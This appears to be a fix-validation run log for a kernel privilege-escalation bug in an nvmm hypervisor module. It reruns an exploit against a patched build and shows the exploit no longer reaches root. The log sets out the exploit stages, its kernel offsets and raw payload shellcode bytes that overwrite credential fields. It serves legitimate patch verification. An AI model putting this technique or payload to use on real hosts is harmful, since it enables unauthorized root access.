# DF-3978 fix-validation run log — FIXED nvmm.ko (identical campaign)

Same QEMU instance/command line and same exploit binary as run.log; the
ONLY difference is nvmm.ko rebuilt from source containing BOTH the
disclosed test-only NRIPS relaxation AND findings/poc/DF-3978/fix.diff
(save/restore of IA32_SYSENTER_{CS,ESP,EIP} in svm_vcpu_guest_misc_enter/
svm_vcpu_guest_misc_leave).  fix.diff applied with `patch -p1` from
/usr/src (3 hunks OK: 583 / 1521 / 1540).

```
BUILD_OK
=== STAGE baseline (fixed) ===
[*] DF-3978 exploit; pid=844 pproc=0x1 off(p_ucred)=0x10 off(cr_uid)=0x40
[*] uid=1002 euid=1002
[baseline] compat sysenter (child): faulted (status 138)
[baseline] guest survived: pid=844 alive
kern.df3978_msrs: cs=0 esp=0 eip=0
=== STAGE arm (FIXED module) ===
[*] DF-3978 exploit; pid=851 pproc=0x1 off(p_ucred)=0x10 off(cr_uid)=0x40
[*] uid=1002 euid=1002
[A] baseline compat sysenter (child): faulted (status 138)
[A0] 64-bit sysenter direct: faulted (signal 4) [Intel-SDM #UD rule under QEMU; valid on AMD silicon]
[B] nvmm capability v3 ok
[B] setstate ok: SYSENTER_CS=0x8 ESP=0x50000800 EIP=0x40000000 (payload page) armed
[B] vcpu_run rc=0 exit.reason=4099 (any rc suffices: the asm prologue's vmload already loaded the guest SYSENTER MSRs)
[arm] armed and one VCPU_RUN done; exiting with MSRs left corrupted (the finding's persistence property)
=== MSRs after arm+run (fixed: must stay clean) ===
kern.df3978_msrs: cs=0 esp=0 eip=0
=== STAGE consume (fixed: must NOT pivot) ===
consume PID=860
--- consume log (FIXED) ---
[*] DF-3978 exploit; pid=860 pproc=0 off(p_ucred)=0x10 off(cr_uid)=0x40
[*] uid=1002 euid=1002
[W] pid=860: waiting for /tmp/df3978.pproc ...
[W] got pproc=0xfffff80066764b80
[P] payload bytes @0x40000000:480f20c048a3000f00400000000048a1100f004000000000488b80100000004885c0741ec7804000000000000000c780a000000000000000c780a400000000000000c70425080f0040783900006a2348
[consume] forking consumer child (compat-mode sysenter) ...
[consume] child status 138
=== guest alive ===
 1:59AM  up 1 min, 0 users, load averages: 0.64, 0.26, 0.10
ls: /tmp/df3978_pwned: No such file or directory
NO_ARTIFACT
```

Decisive contrast vs run.log (identical inputs, identical campaign):
* vulnerable: MSRs after arm  = cs=0x8  esp=0x50000800 eip=0x40000000 -> consume pivots -> uid=0, root-owned artifact.
* FIXED:      MSRs after arm  = cs=0    esp=0          eip=0          -> consume child dies with the clean-host #GP (status 138), no artifact, guest healthy.
fix_status = fixed (baseline_reproduced=1, patched_reproduced=0).